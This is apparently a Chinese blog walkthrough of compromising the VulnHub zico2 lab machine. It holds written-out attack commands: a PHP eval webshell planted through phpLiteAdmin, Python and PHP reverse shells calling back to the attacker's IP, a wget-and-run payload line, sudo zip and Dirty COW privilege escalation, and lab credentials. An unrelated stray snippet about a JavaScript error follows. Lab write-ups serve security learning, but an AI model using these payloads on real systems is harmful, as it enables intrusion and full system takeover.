vulnhub渗透系列之zico2(内含zip提权和脏牛提权)

我是啊锋,一个努力的学渣,作为一个刚进入安全大门的小白,我希望能把自己所学到的东西总结出来,分享到博客上,可以一起进步,一起交流,一起学习。

我这个靶机总结了两种反弹shell和两种提权的方法(python反shell和zip提权、php反shell和脏牛提权)并且有我错误的经验。希望能帮助到你们

实验过程总结

1.探测发现开放端口22、80、111端口,发现页面存在文件包含漏洞,dirb目录后发现一处数据库登录页面并提示了phpLiteAdmin 1.9.3版本。弱口令admin即可进入
2.进入数据库页面后在info处发现两个账号密码,但ssh连接都不成功。
3.通过利用phpLiteAdmin 1.9.3版本的远程文件包含漏洞和python或php的反弹shell方式与nc连接得到一个交互的低权限shell
4.在/home/zico/目录下发现wp框架并查看wp-config.php文件找到zico用户的密码、登录到zico后发现该账号可用zip提权(也可以用脏牛提权,直接提到最高root权限)


渗透攻击步骤

靶机在VMbox用的是桥接网络 netdiscover -i eth0 -r 192.168.0.0/24 探测存活主机
在这里插入图片描述
Nmap -O 192.168.0.120探测存活的端口和靶机系统版本
在这里插入图片描述

111端口RPCBIND用于取代旧版本中的portmap组件。
简单说,RPCBIND就是为了将不同服务与对应的端口进行绑定,以便支持机器间的相互操作

既然开放了80端,就去网页玩玩看看,是一个挺优雅美观的页面
在这里插入图片描述
但这个页面好像也没什么好突破的,在最下面的按钮check them out点击才发现了突破口
在这里插入图片描述

?page=、?url=、反正看到?xxx=的形式,你可以尝试的点有四个
1、	任意url跳转
2、	Ssrf
3、	文件包含
4、	Sql注入

但这里挖到文件包含漏洞,经典的探测方法就是…/…/etc/passwd,我这里用的是burp抓包方法,也可以直接在页面url链接那直接尝试。
在这里插入图片描述
有文件包含漏洞的话,很有必要扫出一些有用的目录,然后结合文件包含漏洞得到一些重要的敏感信息dirb扫描页面目录,但得到有用的页面并不多
在这里插入图片描述
这个页面主要有用的还是dbadmin
在这里插入图片描述
进去是个登录页面,并且提示了框架信息,phpLiteAdmin 1.9.3版本存在一个远程php代码执行漏洞
在这里插入图片描述
这个页面弱口令admin密码就可以登录了。登录后可以查看账号密码
在这里插入图片描述
扔进去MD5解密一下
在这里插入图片描述
在这里插入图片描述
得到了两个账号密码root 34kroot34 /zico zico2215@
这里我有两个想法

1.	用ssh登录下账号密码,看能否成功
2.	利用phpLiteAdmin 1.9.3版本存在一个远程php代码执行漏洞

想法一:用ssh登录,

发现事情并不简单,登录失败。
在这里插入图片描述

想法二:利用phpLiteAdmin 1.9.3版本存在一个远程php代码执行漏洞

步骤一:返回到数据库管理页面先创造一个.php文件作为数据库
在这里插入图片描述
步骤二:在该数据库(php文件下)创建一个数据表a(随便设置名字)
在这里插入图片描述
步骤三:在Default Value下插入一句话马子<?php @eval($_POST[cmd]);?>
因为在这里上传的一句话中引号会被过滤,所以一句话不含单引号;
在这里插入图片描述
步骤四:利用刚开始那文件包含漏洞,访问一下创建的数据库(php文件)
在这里插入图片描述
步骤五:上菜刀
在这里插入图片描述
在这里插入图片描述


第一种玩法:python反弹shell和zip提权

接着上一回菜刀连接:只是www-data还不是最高的root权限,但我发现传错了一句话,之前post传输的一句话<?php @eval($_POST[cmd]);?>虽然能连接菜刀,但是并不能在页面&cmd显示出来,需要改成get型<?php echo system($_GET[cmd]);?>
在这里插入图片描述
在这里插入图片描述

然后在kali端监听并且开放端口1234,在页面url使用以下pyhon反shell的payload(注意修改IP和端口

192.168.0.120/view.php?page=../../usr/databases/feng.php&cmd=
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.99",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`

这个用法在我的bulldogs上有,如果不懂的,可以去看看我博客的bulldogs
在这里插入图片描述
得到了靶机shell之后用python的完全交互tty
在这里插入图片描述
进入之后找路径疯狂搜索资料,在/home/zico/文件下看到是wordpress框架,直接找它的wp-config.php文件!我上一篇靶机(Billu_b0x )也是wp框架,cat查看该文件
在这里插入图片描述在这里插入图片描述
获得密码sWfCsfJSPV9H3AmQzw8用su zico切换用户并且查看该用户的权限
在这里插入图片描述
这里看到zip拥有root权限,如何用zip提权
参考:https://www.freebuf.com/articles/system/206007.html像这里一样套着用就行
在这里插入图片描述

touch feng
sudo zip /tmp/feng.zip /home/zico/feng -T --unzip-command="sh -c /bin/bash
创建feng文件,然后将文件feng压缩,然后将其移动到/tmp/文件夹,最后在/home/zico解压缩,
然后弹出root

在这里插入图片描述
在这里插入图片描述
到这里应该是结束的了,但我在网上看到了其他不同的做法, 我想复现出来,多学点东西


第二种玩法:利用php反shell和脏牛提权

把脚本写进oa.txt,并把该文件夹放进kali的root目录下,因为我要在该目录下开启微型服务器。Tips(如果要在/var/www/html的话,就要在那个目录下建脚本)
脚本内容

<?php $sock=fsockopen("192.168.0.99",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>

在这里插入图片描述
搭建轻型服务器也很简单,有两种方法

apache的/etc/init.d/apache2 start
python -m SimpleHTTPServer 80

在这里插入图片描述
然后回到进入的数据库,我们先创建一个数据库feng_data,再创建feng_table表,表中插入wet下载靶机的oa.txt脚本内容
在这里插入图片描述
然后先监听kali,注意nc监听的时候不要关闭http服务器,同时开多一个命令框就好了
在这里插入图片描述
但….发现…并不能反shell,搞了我很久,逼得我非要把东西都改成shell.php才成功,

<?php system("wget 192.168.0.99/shell.txt -O /tmp/shell.php; php /tmp/shell.php");?>
-O就是把wget下载的内容输入到tmp目录shell.php里面,php /tmp/shell.php就是运行这段代码

那为什么都要是shell这个名字才行,有点不科学。(数据库,数据表,都改成shell.php
在这里插入图片描述
在这里插入图片描述

脏牛提权

Exp下载https://github.com/FireFart/dirtycow
下载好之后把dirty.c拉到kali的root文件夹下
在这里插入图片描述
因为我的轻型服务器还没断开,而且是靶机的一个低级权限,所以我要下载这个dirty.c
文件wget http://192.168.0.99/dirty.c -O /tmp/dirty.c
在这里插入图片描述
下载好了之后可以进行gcc -pthread dirty.c -o exp -lcrypt(编译命令
./exp feng (使用exp,后面的feng是密码,你喜欢也可以换其他)
在这里插入图片描述
查看一下超级管理员的账号改成firefart没有,可见root已经替换成firefart了
在这里插入图片描述
切换到firefart用户
在这里插入图片描述
听说你们还不信是root权限
在这里插入图片描述


用心写好每一篇博客,我是啊锋,一个努力的学渣。

  • 6
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
根据您提供的引用信息,报错信息提示是"Cannot read properties of undefined (reading 'gotoPage')"。这个错误通常出现在尝试从未定义的对象上读取属性时。可能的原因是,代码中某个对象未被正确初始化或赋值,导致无法访问该对象的属性。 要解决这个问题,您可以按照以下步骤进行排查和修复: 1. 首先,请确保代码中涉及到的对象都已经正确地初始化或赋值。检查相关代码,特别是与“gotoPage”属性相关的代码,确认是否正确地创建了该对象。 2. 确认您使用的变量或方法名称是否正确。在报错信息中,有时会提示某个属性或方法不存在,这可能是由于拼写错误或者是错误地引用了其他对象导致的。请仔细检查代码中涉及到的变量名或方法名。 3. 如果您在复制时间查询条件时遇到类似的错误,请确保变量名保持一致。根据引用中的原因分析,可能是由于复制时变量名出现了错误。 如果以上步骤都没有找到问题所在,建议您检查代码的上下文和运行环境,查看是否还有其他可能导致该错误的因素。<span class="em">1</span> #### 引用[.reference_title] - *1* [帆软填报CustomJSError报错解决](https://blog.csdn.net/zico_a/article/details/107150639)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值